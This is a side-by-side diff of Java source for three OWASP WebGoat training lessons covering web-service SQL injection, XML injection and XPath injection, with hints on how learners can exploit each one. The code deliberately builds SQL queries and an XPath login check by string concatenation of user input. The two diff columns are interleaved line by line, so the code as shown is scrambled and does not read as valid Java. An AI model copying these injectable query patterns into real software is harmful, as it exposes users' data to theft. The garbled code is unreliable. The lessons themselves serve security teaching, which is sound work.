+ "SOAPAction: some action header, can be &quot;&quot;<br><br>"
+ "The soap message body has the following format:<br>"
+ "&lt;?xml version='1.0' encoding='UTF-8'?&gt; <br>"
+ "&nbsp;&nbsp;&lt;SOAP-ENV:Envelope xmlns:SOAP-ENV='http://schemas.xmlsoap.org/soap/envelope/' xmlns:xsd='http://www.w3.org/2001/XMLSchema' xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;SOAP-ENV:Body&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;ns1:getCreditCard SOAP-ENV:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/' xmlns:ns1='http://lessons'&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;id xsi:type='xsd:string'&gt;101&lt;/id&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/ns1:getCreditCard&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;/SOAP-ENV:Body&gt; <br>"
+ "&nbsp;&nbsp;&lt;/SOAP-ENV:Envelope&gt; <br>" + "");
hints.add("Use the \"Webservices\" Functions in OWASP ZAP.");
/*
* "&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt; <br>" + " &lt;SOAP-ENV:Envelope
* xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" <br>" + "
* xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" <br>" + "
* xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"&gt; <br>" + "
* &lt;SOAP-ENV:Body&gt; <br>" + " &lt;ns1:getCreditCard
* SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"
* xmlns:ns1=\"http://lessons\"&gt; <br>" + " &lt;id
* xsi:type=\"xsd:string\"&gt;101&lt;/id&gt; <br>"+ " &lt;/ns1:getCreditCard&gt; <br>" + "
* &lt;/SOAP-ENV:Body&gt; <br>" + " &lt;/SOAP-ENV:Envelope&gt; <br><br>" + "Intercept the
* HTTP request and try to create a soap request.");
*/
return hints;
}
protected List<String> getHints(WebSession s) private final static Integer DEFAULT_RANKING = new Integer(150);
{
List<String> hints = new ArrayList<String>();
hints.add("Try connecting to the WSDL with a browser or Web Service tool.");
hints.add("Sometimes the server side code will perform input validation before issuing "
+ "the request to the web service operation. Try to bypass this check by "
+ "accessing the web service directly");
hints.add("The URL for the web service is: http://localhost/WebGoat/services/WsSqlInjection?WSDL <br>"
+ "The WSDL can usually be viewed by adding a ?WSDL on the end of the request.");
hints.add("Create a new soap request for the getCreditCard(String id) operation.");
hints
.add("A soap request uses the following HTTP header: <br> "
+ "SOAPAction: some action header, can be &quot;&quot;<br><br>"
+ "The soap message body has the following format:<br>"
+ "&lt;?xml version='1.0' encoding='UTF-8'?&gt; <br>"
+ "&nbsp;&nbsp;&lt;SOAP-ENV:Envelope xmlns:SOAP-ENV='http://schemas.xmlsoap.org/soap/envelope/' xmlns:xsd='http://www.w3.org/2001/XMLSchema' xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;SOAP-ENV:Body&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;ns1:getCreditCard SOAP-ENV:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/' xmlns:ns1='http://lessons'&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;id xsi:type='xsd:string'&gt;101&lt;/id&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/ns1:getCreditCard&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;/SOAP-ENV:Body&gt; <br>"
+ "&nbsp;&nbsp;&lt;/SOAP-ENV:Envelope&gt; <br>" + "");
hints.add("Use the \"Webservices\" Functions in WebScarab.");
/*
* "&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt; <br>" + " &lt;SOAP-ENV:Envelope
* xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" <br>" + "
* xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" <br>" + "
* xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"&gt; <br>" + "
* &lt;SOAP-ENV:Body&gt; <br>" + " &lt;ns1:getCreditCard
* SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"
* xmlns:ns1=\"http://lessons\"&gt; <br>" + " &lt;id
* xsi:type=\"xsd:string\"&gt;101&lt;/id&gt; <br>"+ " &lt;/ns1:getCreditCard&gt; <br>" + "
* &lt;/SOAP-ENV:Body&gt; <br>" + " &lt;/SOAP-ENV:Envelope&gt; <br><br>" + "Intercept the
* HTTP request and try to create a soap request.");
*/
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(150); protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected Integer getDefaultRanking() public String getTitle()
{ {
return DEFAULT_RANKING; return "Web Service SQL Injection";
} }
public String getTitle() protected Element makeAccountLine(WebSession s)
{ {
return "Web Service SQL Injection"; ElementContainer ec = new ElementContainer();
}
protected Element makeAccountLine(WebSession s) ec.addElement(new P().addElement("Enter your Account Number: "));
{
ElementContainer ec = new ElementContainer();
ec.addElement(new P().addElement("Enter your Account Number: ")); accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101");
Input input = new Input(Input.TEXT, ACCT_NUM, accountNumber.toString());
ec.addElement(input);
accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101"); Element b = ECSFactory.makeButton("Go!");
Input input = new Input(Input.TEXT, ACCT_NUM, accountNumber.toString()); ec.addElement(b);
ec.addElement(input);
Element b = ECSFactory.makeButton("Go!"); return ec;
ec.addElement(b); }
return ec; protected Element createContent(WebSession s)
} {
ElementContainer ec = new ElementContainer();
try
{
ec.addElement(makeAccountLine(s));
protected Element createContent(WebSession s) String query = "SELECT * FROM user_data WHERE userid = " + accountNumber;
{ ec.addElement(new PRE(query));
ElementContainer ec = new ElementContainer(); for (int i = 0; i < accountNumber.length(); i++)
try {
{ char c = accountNumber.charAt(i);
ec.addElement(makeAccountLine(s)); if (c < '0' || c > '9')
{
ec.addElement("Invalid account number. ");
accountNumber = "0";
}
}
try
{
ResultSet results = getResults(accountNumber);
if ((results != null) && (results.first() == true))
{
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
results.last();
if (results.getRow() >= 6)
{
// this should never happen
}
}
else
{
ec.addElement("No results matched. Try Again.");
}
} catch (SQLException sqle)
{
ec.addElement(new P().addElement(sqle.getMessage()));
}
A a = new A("services/WsSqlInjection?WSDL", "WebGoat WSDL File");
ec.addElement(new P().addElement("Exploit the following WSDL to access sensitive data:"));
ec.addElement(new BR());
ec.addElement(a);
getLessonTracker(s).setCompleted(completed);
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
String query = "SELECT * FROM user_data WHERE userid = " + accountNumber; public ResultSet getResults(String id)
ec.addElement(new PRE(query)); {
for (int i = 0; i < accountNumber.length(); i++) try
{ {
char c = accountNumber.charAt(i); Connection connection = DatabaseUtilities.getConnection("guest", getWebgoatContext());
if (c < '0' || c > '9') String query = "SELECT * FROM user_data WHERE userid = " + id;
{ try
ec.addElement("Invalid account number. "); {
accountNumber = "0"; Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
} ResultSet.CONCUR_READ_ONLY);
} ResultSet results = statement.executeQuery(query);
try return results;
{ } catch (SQLException sqle)
ResultSet results = getResults(accountNumber); {
if ((results != null) && (results.first() == true)) }
{ } catch (Exception e)
ResultSetMetaData resultsMetaData = results.getMetaData(); {
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData)); }
results.last(); return null;
if (results.getRow() >= 6) }
{
// this should never happen
}
}
else
{
ec.addElement("No results matched. Try Again.");
}
} catch (SQLException sqle)
{
ec.addElement(new P().addElement(sqle.getMessage()));
}
A a = new A("services/WsSqlInjection?WSDL", "WebGoat WSDL File");
ec.addElement(new P().addElement("Exploit the following WSDL to access sensitive data:"));
ec.addElement(new BR());
ec.addElement(a);
getLessonTracker(s).setCompleted(completed);
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
public ResultSet getResults(String id) public String[] getCreditCard(String id)
{ {
try ResultSet results = getResults(id);
{ if ((results != null))
Connection connection = DatabaseUtilities.getConnection("guest", getWebgoatContext()); {
String query = "SELECT * FROM user_data WHERE userid = " + id; try
try {
{ results.last();
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, String[] users = new String[results.getRow()];
ResultSet.CONCUR_READ_ONLY); if (users.length > 4)
ResultSet results = statement.executeQuery(query); {
return results; completed = true;
} catch (SQLException sqle) }
{ results.beforeFirst();
} while (results.next() == true)
} catch (Exception e) {
{ int i = results.getRow();
} users[i - 1] = results.getString(ccNumber);
return null; }
} return users;
} catch (SQLException sqle)
{
}
}
return null;
}
public String[] getCreditCard(String id) public Element getCredits()
{ {
ResultSet results = getResults(id); return super.getCustomCredits("By Alex Smolen", CREDITS_LOGO);
if ((results != null)) }
{
try
{
results.last();
String[] users = new String[results.getRow()];
if (users.length > 4)
{
completed = true;
}
results.beforeFirst();
while (results.next() == true)
{
int i = results.getRow();
users[i - 1] = results.getString(ccNumber);
}
return users;
} catch (SQLException sqle)
{
}
}
return null;
}
public Element getCredits()
{
return super.getCustomCredits("By Alex Smolen", CREDITS_LOGO);
}
} }

View File

@ -54,276 +54,276 @@ import org.owasp.webgoat.session.WebSession;
public class XMLInjection extends LessonAdapter public class XMLInjection extends LessonAdapter
{ {
private final static Integer DEFAULT_RANKING = new Integer(20); private final static Integer DEFAULT_RANKING = new Integer(20);
private final static String ACCOUNTID = "accountID"; private final static String ACCOUNTID = "accountID";
public static HashMap<Integer, Reward> rewardsMap = new HashMap<Integer, Reward>(); public static HashMap<Integer, Reward> rewardsMap = new HashMap<Integer, Reward>();
public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0)); public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0));
protected static HashMap<Integer, Reward> init() protected static HashMap<Integer, Reward> init()
{ {
Reward r = new Reward(); Reward r = new Reward();
r.setName("WebGoat t-shirt"); r.setName("WebGoat t-shirt");
r.setPoints(50); r.setPoints(50);
rewardsMap.put(1001, r); rewardsMap.put(1001, r);
r = new Reward(); r = new Reward();
r.setName("WebGoat Secure Kettle"); r.setName("WebGoat Secure Kettle");
r.setPoints(30); r.setPoints(30);
rewardsMap.put(1002, r); rewardsMap.put(1002, r);
r = new Reward(); r = new Reward();
r.setName("WebGoat Mug"); r.setName("WebGoat Mug");
r.setPoints(20); r.setPoints(20);
rewardsMap.put(1003, r); rewardsMap.put(1003, r);
r = new Reward(); r = new Reward();
r.setName("WebGoat Core Duo Laptop"); r.setName("WebGoat Core Duo Laptop");
r.setPoints(2000); r.setPoints(2000);
rewardsMap.put(1004, r); rewardsMap.put(1004, r);
r = new Reward(); r = new Reward();
r.setName("WebGoat Hawaii Cruise"); r.setName("WebGoat Hawaii Cruise");
r.setPoints(3000); r.setPoints(3000);
rewardsMap.put(1005, r); rewardsMap.put(1005, r);
return rewardsMap; return rewardsMap;
} }
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
try try
{ {
if (s.getParser().getRawParameter("from", "").equals("ajax")) if (s.getParser().getRawParameter("from", "").equals("ajax"))
{ {
if (s.getParser().getRawParameter(ACCOUNTID, "").equals("836239")) if (s.getParser().getRawParameter(ACCOUNTID, "").equals("836239"))
{ {
String lineSep = System.getProperty("line.separator"); String lineSep = System.getProperty("line.separator");
String xmlStr = "<root>" + lineSep + "<reward>WebGoat Mug 20 Pts</reward>" + lineSep String xmlStr = "<root>" + lineSep + "<reward>WebGoat Mug 20 Pts</reward>" + lineSep
+ "<reward>WebGoat t-shirt 50 Pts</reward>" + lineSep + "<reward>WebGoat t-shirt 50 Pts</reward>" + lineSep
+ "<reward>WebGoat Secure Kettle 30 Pts</reward>" + lineSep + "</root>"; + "<reward>WebGoat Secure Kettle 30 Pts</reward>" + lineSep + "</root>";
s.getResponse().setContentType("text/xml"); s.getResponse().setContentType("text/xml");
s.getResponse().setHeader("Cache-Control", "no-cache"); s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse().getOutputStream()); PrintWriter out = new PrintWriter(s.getResponse().getOutputStream());
out.print(xmlStr); out.print(xmlStr);
out.flush(); out.flush();
out.close(); out.close();
return; return;
} }
} }
} catch (Exception ex) } catch (Exception ex)
{ {
ex.printStackTrace(); ex.printStackTrace();
} }
Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType(""); Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType("");
form.addElement(createContent(s)); form.addElement(createContent(s));
setContent(form); setContent(form);
} }
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
boolean isDone = false; boolean isDone = false;
init(); init();
if (s.getParser().getRawParameter("done", "").equals("yes")) if (s.getParser().getRawParameter("done", "").equals("yes"))
{ {
isDone = true; isDone = true;
} }
String lineSep = System.getProperty("line.separator"); String lineSep = System.getProperty("line.separator");
String script = "<script>" + lineSep + "function getRewards() {" + lineSep String script = "<script>" + lineSep + "function getRewards() {" + lineSep
+ "var accountIDField = document.getElementById('" + ACCOUNTID + "');" + lineSep + "var accountIDField = document.getElementById('" + ACCOUNTID + "');" + lineSep
+ "if (accountIDField.value.length < 6 ) { return; }" + lineSep + "var url = '" + getLink() + "if (accountIDField.value.length < 6 ) { return; }" + lineSep + "var url = '" + getLink()
+ "&from=ajax&" + ACCOUNTID + "=' + encodeURIComponent(accountIDField.value);" + lineSep + "&from=ajax&" + ACCOUNTID + "=' + encodeURIComponent(accountIDField.value);" + lineSep
+ "if (typeof XMLHttpRequest != 'undefined') {" + lineSep + "req = new XMLHttpRequest();" + lineSep + "if (typeof XMLHttpRequest != 'undefined') {" + lineSep + "req = new XMLHttpRequest();" + lineSep
+ "} else if (window.ActiveXObject) {" + lineSep + "req = new ActiveXObject('Microsoft.XMLHTTP');" + "} else if (window.ActiveXObject) {" + lineSep + "req = new ActiveXObject('Microsoft.XMLHTTP');"
+ lineSep + " }" + lineSep + " req.open('GET', url, true);" + lineSep + lineSep + " }" + lineSep + " req.open('GET', url, true);" + lineSep
+ " req.onreadystatechange = callback;" + lineSep + " req.send(null);" + lineSep + "}" + " req.onreadystatechange = callback;" + lineSep + " req.send(null);" + lineSep + "}"
+ lineSep + lineSep
+ "function callback() {" + "function callback() {"
+ lineSep + lineSep
+ " if (req.readyState == 4) { " + " if (req.readyState == 4) { "
+ lineSep + lineSep
+ " if (req.status == 200) { " + " if (req.status == 200) { "
+ lineSep + lineSep
+ " var rewards = req.responseXML.getElementsByTagName('reward');" + " var rewards = req.responseXML.getElementsByTagName('reward');"
+ lineSep + lineSep
+ " var rewardsDiv = document.getElementById('rewardsDiv');" + " var rewardsDiv = document.getElementById('rewardsDiv');"
+ lineSep + lineSep
+ " rewardsDiv.innerHTML = '';" + " rewardsDiv.innerHTML = '';"
+ lineSep + lineSep
+ " var strHTML='';" + " var strHTML='';"
+ lineSep + lineSep
+ " strHTML = '<tr><td>&nbsp;</td><td><b>Rewards</b></td></tr>';" + " strHTML = '<tr><td>&nbsp;</td><td><b>Rewards</b></td></tr>';"
+ lineSep + lineSep
+ " for(var i=0; i< rewards.length; i++){" + " for(var i=0; i< rewards.length; i++){"
// + lineSep // + lineSep
// + " var node = rewards.childNodes[i+1];" // + " var node = rewards.childNodes[i+1];"
+ lineSep + lineSep
+ " strHTML = strHTML + '<tr><td><input name=\"check' + (i+1001) +'\" type=\"checkbox\"></td><td>';" + " strHTML = strHTML + '<tr><td><input name=\"check' + (i+1001) +'\" type=\"checkbox\"></td><td>';"
+ lineSep + " strHTML = strHTML + rewards[i].firstChild.nodeValue + '</td></tr>';" + lineSep + lineSep + " strHTML = strHTML + rewards[i].firstChild.nodeValue + '</td></tr>';" + lineSep
+ " }" + lineSep + " strHTML = '<table>' + strHTML + '</table>';" + lineSep + " }" + lineSep + " strHTML = '<table>' + strHTML + '</table>';" + lineSep
+ " strHTML = 'Your account balance is now 100 points<br><br>' + strHTML;" + lineSep + " strHTML = 'Your account balance is now 100 points<br><br>' + strHTML;" + lineSep
+ " rewardsDiv.innerHTML = strHTML;" + lineSep + " }}}" + lineSep + "</script>" + " rewardsDiv.innerHTML = strHTML;" + lineSep + " }}}" + lineSep + "</script>"
+ lineSep; + lineSep;
if (!isDone) if (!isDone)
{ {
ec.addElement(new StringElement(script)); ec.addElement(new StringElement(script));
} }
ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat-Miles Reward Miles Program."))); ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat-Miles Reward Miles Program.")));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR().addElement(new H3().addElement("Rewards available through the program:"))); ec.addElement(new BR().addElement(new H3().addElement("Rewards available through the program:")));
ec.addElement(new BR()); ec.addElement(new BR());
Table t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center"); Table t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center");
TR trRewards = null; TR trRewards = null;
for (int i = 1001; i < 1001 + rewardsMap.size(); i++) for (int i = 1001; i < 1001 + rewardsMap.size(); i++)
{ {
trRewards = new TR(); trRewards = new TR();
Reward r = (Reward) rewardsMap.get(i); Reward r = (Reward) rewardsMap.get(i);
trRewards.addElement(new TD("-" + r.getName())); trRewards.addElement(new TD("-" + r.getName()));
trRewards.addElement(new TD(r.getPoints() + " Pts")); trRewards.addElement(new TD(r.getPoints() + " Pts"));
t2.addElement(trRewards); t2.addElement(trRewards);
} }
ec.addElement(t2); ec.addElement(t2);
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new H3().addElement("Redeem your points:")); ec.addElement(new H3().addElement("Redeem your points:"));
ec.addElement(new BR()); ec.addElement(new BR());
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center"); Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center");
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD("Please enter your account ID:")); tr.addElement(new TD("Please enter your account ID:"));
Input input1 = new Input(Input.TEXT, ACCOUNTID, ""); Input input1 = new Input(Input.TEXT, ACCOUNTID, "");
input1.addAttribute("onkeyup", "getRewards();"); input1.addAttribute("onkeyup", "getRewards();");
input1.addAttribute("id", ACCOUNTID); input1.addAttribute("id", ACCOUNTID);
tr.addElement(new TD(input1)); tr.addElement(new TD(input1));
t1.addElement(tr); t1.addElement(tr);
ec.addElement(t1); ec.addElement(t1);
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
Div div = new Div(); Div div = new Div();
div.addAttribute("name", "rewardsDiv"); div.addAttribute("name", "rewardsDiv");
div.addAttribute("id", "rewardsDiv"); div.addAttribute("id", "rewardsDiv");
ec.addElement(div); ec.addElement(div);
Input b = new Input(); Input b = new Input();
b.setType(Input.SUBMIT); b.setType(Input.SUBMIT);
b.setValue("Submit"); b.setValue("Submit");
b.setName("SUBMIT"); b.setName("SUBMIT");
ec.addElement(b); ec.addElement(b);
if (s.getParser().getRawParameter("SUBMIT", "") != "") if (s.getParser().getRawParameter("SUBMIT", "") != "")
{ {
if (s.getParser().getRawParameter("check1004", "") != "") if (s.getParser().getRawParameter("check1004", "") != "")
{ {
makeSuccess(s); makeSuccess(s);
} }
else else
{ {
StringBuffer shipment = new StringBuffer(); StringBuffer shipment = new StringBuffer();
for (int i = 1001; i < 1001 + rewardsMap.size(); i++) for (int i = 1001; i < 1001 + rewardsMap.size(); i++)
{ {
if (s.getParser().getRawParameter("check" + i, "") != "") if (s.getParser().getRawParameter("check" + i, "") != "")
{ {
shipment.append(((Reward) rewardsMap.get(i)).getName() + "<br>"); shipment.append(((Reward) rewardsMap.get(i)).getName() + "<br>");
} }
} }
shipment.insert(0, "<br><br><b>The following items will be shipped to your address:</b><br>"); shipment.insert(0, "<br><br><b>The following items will be shipped to your address:</b><br>");
ec.addElement(new StringElement(shipment.toString())); ec.addElement(new StringElement(shipment.toString()));
} }
} }
return ec; return ec;
} }
protected Element makeSuccess(WebSession s) protected Element makeSuccess(WebSession s)
{ {
getLessonTracker(s).setCompleted(true); getLessonTracker(s).setCompleted(true);
s.setMessage("Congratulations. You have successfully completed this lesson."); s.setMessage("Congratulations. You have successfully completed this lesson.");
return (null); return (null);
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by Sherif Koussa&nbsp;", MAC_LOGO); return super.getCustomCredits("Created by Sherif Koussa&nbsp;", MAC_LOGO);
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.AJAX_SECURITY; return Category.AJAX_SECURITY;
} }
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("This page is using XMLHTTP to comunicate with the server."); hints.add("This page is using XMLHTTP to comunicate with the server.");
hints.add("Try to intercept the reply and check the reply."); hints.add("Try to intercept the reply and check the reply.");
hints.add("Intercept the reply and try to inject some XML to add more rewards to yourself."); hints.add("Intercept the reply and try to inject some XML to add more rewards to yourself.");
return hints; return hints;
} }
public String getTitle() public String getTitle()
{ {
return "XML Injection"; return "XML Injection";
} }
static class Reward static class Reward
{ {
private String name; private String name;
private int points; private int points;
public String getName() public String getName()
{ {
return name; return name;
} }
public void setName(String name) public void setName(String name)
{ {
this.name = name; this.name = name;
} }
public int getPoints() public int getPoints()
{ {
return points; return points;
} }
public void setPoints(int points) public void setPoints(int points)
{ {
this.points = points; this.points = points;
} }
} }
} }

View File

@ -70,169 +70,169 @@ import org.owasp.webgoat.session.ECSFactory;
public class XPATHInjection extends LessonAdapter public class XPATHInjection extends LessonAdapter
{ {
private final static Integer DEFAULT_RANKING = new Integer(74); private final static Integer DEFAULT_RANKING = new Integer(74);
private final static String USERNAME = "Username"; private final static String USERNAME = "Username";
private final static String PASSWORD = "Password"; private final static String PASSWORD = "Password";
public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0)); public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0));
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
NodeList nodes = null; NodeList nodes = null;
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat employee intranet"))); ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat employee intranet")));
ec.addElement(new BR()); ec.addElement(new BR());
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center"); Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center");
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH().addElement("Please confirm your username and password before viewing your profile.") tr.addElement(new TH().addElement("Please confirm your username and password before viewing your profile.")
.setColSpan(2).setAlign("left")); .setColSpan(2).setAlign("left"));
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("*Required Fields").setWidth("30%").setColSpan(2).setAlign("left")); tr.addElement(new TD().addElement("*Required Fields").setWidth("30%").setColSpan(2).setAlign("left"));
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp").setWidth("30%").setColSpan(2).setAlign("left")); tr.addElement(new TD().addElement("&nbsp").setWidth("30%").setColSpan(2).setAlign("left"));
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD(new B(new StringElement("*User Name: ")))); tr.addElement(new TD(new B(new StringElement("*User Name: "))));
Input input1 = new Input(Input.TEXT, USERNAME, ""); Input input1 = new Input(Input.TEXT, USERNAME, "");
tr.addElement(new TD(input1)); tr.addElement(new TD(input1));
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD(new B(new StringElement("*Password: ")))); tr.addElement(new TD(new B(new StringElement("*Password: "))));
Input input2 = new Input(Input.PASSWORD, PASSWORD, ""); Input input2 = new Input(Input.PASSWORD, PASSWORD, "");
tr.addElement(new TD(input2)); tr.addElement(new TD(input2));
t1.addElement(tr); t1.addElement(tr);
Element b = ECSFactory.makeButton("Submit"); Element b = ECSFactory.makeButton("Submit");
t1.addElement(new TR(new TD(b))); t1.addElement(new TR(new TD(b)));
ec.addElement(t1); ec.addElement(t1);
String username = s.getParser().getRawParameter(USERNAME, ""); String username = s.getParser().getRawParameter(USERNAME, "");
if (username == null || username.length() == 0) if (username == null || username.length() == 0)
{ {
ec.addElement(new P().addElement(new StringElement("Username is a required field"))); ec.addElement(new P().addElement(new StringElement("Username is a required field")));
return ec; return ec;
} }
String password = s.getParser().getRawParameter(PASSWORD, ""); String password = s.getParser().getRawParameter(PASSWORD, "");
if (password == null || password.length() == 0) if (password == null || password.length() == 0)
{ {
ec.addElement(new P().addElement(new StringElement("Password is a required field"))); ec.addElement(new P().addElement(new StringElement("Password is a required field")));
return ec; return ec;
} }
String dir = s.getContext().getRealPath("/lessons/XPATHInjection/EmployeesData.xml"); String dir = s.getContext().getRealPath("/lessons/XPATHInjection/EmployeesData.xml");
File d = new File(dir); File d = new File(dir);
XPathFactory factory = XPathFactory.newInstance(); XPathFactory factory = XPathFactory.newInstance();
XPath xPath = factory.newXPath(); XPath xPath = factory.newXPath();
InputSource inputSource = new InputSource(new FileInputStream(d)); InputSource inputSource = new InputSource(new FileInputStream(d));
String expression = "/employees/employee[loginID/text()='" + username + "' and passwd/text()='" + password String expression = "/employees/employee[loginID/text()='" + username + "' and passwd/text()='" + password
+ "']"; + "']";
nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET); nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);
int nodesLength = nodes.getLength(); int nodesLength = nodes.getLength();
Table t2 = null; Table t2 = null;
if (nodesLength > 0) if (nodesLength > 0)
{ {
t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(1).setWidth("90%").setAlign("center"); t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(1).setWidth("90%").setAlign("center");
tr = new TR(); tr = new TR();
tr.setBgColor(HtmlColor.GRAY); tr.setBgColor(HtmlColor.GRAY);
tr.addElement(new TD().addElement("Username")); tr.addElement(new TD().addElement("Username"));
tr.addElement(new TD().addElement("Account No.")); tr.addElement(new TD().addElement("Account No."));
tr.addElement(new TD().addElement("Salary")); tr.addElement(new TD().addElement("Salary"));
t2.addElement(tr); t2.addElement(tr);
} }
for (int i = 0; i < nodesLength; i++) for (int i = 0; i < nodesLength; i++)
{ {
Node node = nodes.item(i); Node node = nodes.item(i);
String[] arrTokens = node.getTextContent().split("[\\t\\s\\n]+"); String[] arrTokens = node.getTextContent().split("[\\t\\s\\n]+");
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement(arrTokens[1])); tr.addElement(new TD().addElement(arrTokens[1]));
tr.addElement(new TD().addElement(arrTokens[2])); tr.addElement(new TD().addElement(arrTokens[2]));
tr.addElement(new TD().addElement(arrTokens[4])); tr.addElement(new TD().addElement(arrTokens[4]));
t2.addElement(tr); t2.addElement(tr);
} }
if (nodes.getLength() > 1) if (nodes.getLength() > 1)
{ {
makeSuccess(s); makeSuccess(s);
} }
if (t2 != null) if (t2 != null)
{ {
ec.addElement(new PRE()); ec.addElement(new PRE());
ec.addElement(t2); ec.addElement(t2);
} }
} catch (IOException e) } catch (IOException e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} catch (IllegalArgumentException e) } catch (IllegalArgumentException e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} catch (XPathExpressionException e) } catch (XPathExpressionException e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return ec; return ec;
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by Sherif Koussa&nbsp;", MAC_LOGO); return super.getCustomCredits("Created by Sherif Koussa&nbsp;", MAC_LOGO);
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
